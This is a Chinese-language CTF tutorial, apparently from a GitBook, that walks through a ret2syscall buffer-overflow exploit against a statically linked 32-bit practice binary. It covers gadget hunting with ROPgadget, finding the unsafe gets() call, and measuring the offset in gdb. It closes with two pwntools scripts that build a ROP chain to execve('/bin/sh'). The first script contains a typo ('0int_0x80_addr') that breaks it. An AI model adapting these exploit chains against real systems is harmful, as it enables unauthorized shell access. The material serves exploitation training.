# ret2syscall

1、查看结构和保护措施\\

使用checksec <文件>查了架构和保护措施

几个方向：

没有PIE，ret2libc,ret2syscall

开启了NX保护，ret2libc，retsyscall

其他：ret2text

使用file <文件>查看链接方式

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FXytkbiCu6pxerbx09UVI%2FImage%20%5B1%5D.png?alt=media)

该文件属于静态链接（即在程序编译链接的过程中就将用到的库文件加入到可执行文件中），存在大量的可用的ROPgadget

gadget：代码小片段

ROPgadget：属于execve('/bin/sh',0,0)的代码小片段，结构是“pop-ret”。pop就是将存在栈的参数弹出给对应的寄存器，ret就是返回将存在栈中的返回地址弹出给ip寄存器。

ROP链：用代码小片段构造execve，这些小片段就构成了ROP链

构造的目标代码(execve)：

mov eax,0xb

mov ebx,\['/bin/sh']

mov ecx,0

mov edx,0

int 0x80

\=>execve('/bin/sh',0,0)

给寄存器赋值不分先后。有时候一个ROPgadget可以同时给多个寄存器赋值，尽量选择这些gadget

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FybTZMnMVlHlxQ1PTlwxq%2FImage%20%5B2%5D.png?alt=media)

2、使用ROPgadget工具寻找gadget

打开linux终端，输入：ROPgadget --binary <文件> --only "pop|ret" 寻找对应的gadget。

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FOLMdr1l6Vn4Hd8ss4ohX%2FImage%20%5B3%5D.png?alt=media)

发现了大量的gadget

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2F6HHz1Ubs3YlJ9uWIUFoi%2FImage%20%5B4%5D.png?alt=media)

有时候，我们也用：ROPgadget --binary <文件> --only "pop|ret" |grep "pop eax" 来快速地寻找能够对相应寄存器赋值的gadget

eax的gadget

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FJNBdf4tyNB8QF2BfDkez%2FImage%20%5B5%5D.png?alt=media)

ebx的gadget

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FcfeZ4a9wtqxISe2oVdO8%2FImage%20%5B6%5D.png?alt=media)

ecx的gadget

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2Fydt83YEGS9RfvhLokBvw%2FImage%20%5B7%5D.png?alt=media)

edx的gadget

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FXoyapVW2NhSQDfDJEOG8%2FImage%20%5B8%5D.png?alt=media)

“/bin/sh”的gadget

ROPgadget --binary <文件> --string “/bin/sh”

int 0x80的gadget

ROPgadget --binary <文件> --only "int"

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2Fh59I7aoHOWfujNNIz9YM%2FImage%20%5B10%5D.png?alt=media)

3、寻找危险函数

* 在main函数的汇编界面，按F5反编译成C语言代码

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FfS3bDeKXAMpdDBgnHwrO%2FImage%20%5B11%5D.png?alt=media)

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FDNbYc7QmkYJlZevlKwGO%2FImage%20%5B12%5D.png?alt=media)

* 分析main函数的主逻辑
* * setvbuf关闭缓冲区，不存在漏洞
  * puts函数不存在漏洞
  * gets函数向main函数的局部变量v4写入无限长的字节数据，存在漏洞！

4、计算偏移量

* IDA静态分析得出：v4到ret\_addr的距离为0x64+0x4=0x68(不推荐直接用IDA分析出来的结果，还是得通过gdb动态调试来验证IDA分析的结果是否正确)
* gdb动态调试求偏移量

&#x20;   ①gdb <文件>

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FnvnTIlm6PP6B352A8RuD%2FImage%20%5B13%5D.png?alt=media).

&#x20;   ②b mian 或者start进入到程序的入口（当面对较复杂时，在我们想要的位置上打断点，具体会在ret2libc3介绍）

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FvusSfRYMiaeog8Sghduh%2FImage%20%5B14%5D.png?alt=media)

&#x20;   ③使用r命令，如果有断点，停在断点处；

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FCsx4NW6dia7JYL7xBF7z%2FImage%20%5B15%5D.png?alt=media)

&#x20;   各个窗口如图所示

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FSki2AMFJrfPLGEDId6Uu%2FImage%20%5B16%5D.png?alt=media)

&#x20;   ④在“DISASM”反汇编窗口观察程序执行逻辑，输入ni，进行单步过操作

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FMt46KEZ9HdjkDWO2MhOu%2FImage%20%5B17%5D.png?alt=media)

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FA6cTn1cUuxWKeIvg0Wq6%2FImage%20%5B18%5D.png?alt=media)

&#x20;   ⑤一直步过到“gets函数”，我们不需要进入到gets函数的内部，此时终端处于等待用户输入的状态（规律：凡是库函数都不需要进入函数内部）

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2F4yuf1Wobzb1PfE7obIwD%2FImage%20%5B19%5D.png?alt=media)

&#x20;   输入’aaaa‘，（根据程序的位数输入4位还是8位的数据），然后执行stack <数字>查看任意多行的栈空间的情况

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FW5B5tXdyw0ceJBIWLpQV%2FImage%20%5B20%5D.png?alt=media)

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FPoBFL3ctwlpn1ICbjlUa%2FImage%20%5B21%5D.png?alt=media)

&#x20;   观察’aaaa‘数据最后存放在0xffffd14c的位置上，这就是v4的地址，返回地址就是ebp的下一单元

&#x20;   ⑥计算v4到ret\_addr的偏移量

&#x20;   v4的地址：0xffffd14c

&#x20;   ret\_addr的地址：0xffffd1bc（其实gdb已经告诉我们这个地址里的内容就是\_libc\_start\_main函数的下一条指令：mov dword ptr \[esp],eax 的地址）

&#x20;   使用gdb自带的计算距离的指令：distance <地址1> <地址2>

&#x20;   distance 0xffffd14c 0xffffd1bc

![](https://389012806-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fzto951gNWQIPbQjkUUpb%2Fuploads%2FXjKhJEOyM8QzgOnB2Nil%2FImage%20%5B22%5D.png?alt=media)

&#x20;   计算得出偏移量：0x70 bytes

5、编写exp

exp1

from pwn import \*

io = process('./ret2syscall')

pop\_eax\_ret\_addr = 0x080bb196

pop\_ecx\_\_ebx\_ret\_addr = 0x0806eb91

pop\_edx\_ret\_addr =0x0806eb6a

bin\_sh\_addr = 0x080be408

0int\_0x80\_addr = 0x08049421

payload = flat(\[b'A'\*0x70,pop\_eax\_ret\_addr,0xb,pop\_ecx\_\_ebx\_ret\_addr,0,bin\_sh\_addr,pop\_edx\_ret\_addr,0,int\_0x80\_addr])

io.sendline(payload)

io.interactive()

exp2

from pwn import \*

io = process('./ret2syscall')

bin\_sh = 0x080be408

pop\_edx\_ecx\_ebx\_ret = 0x0806eb90

pop\_eax\_ret = 0x080bb196

int\_0x80 = 0x08049421

payload = flat(\[b'A'\*112,pop\_eax\_ret,0xb,pop\_edx\_ecx\_ebx\_ret,0,0,bin\_sh,int\_0x80])

io.sendline(payload)

io.interactive()
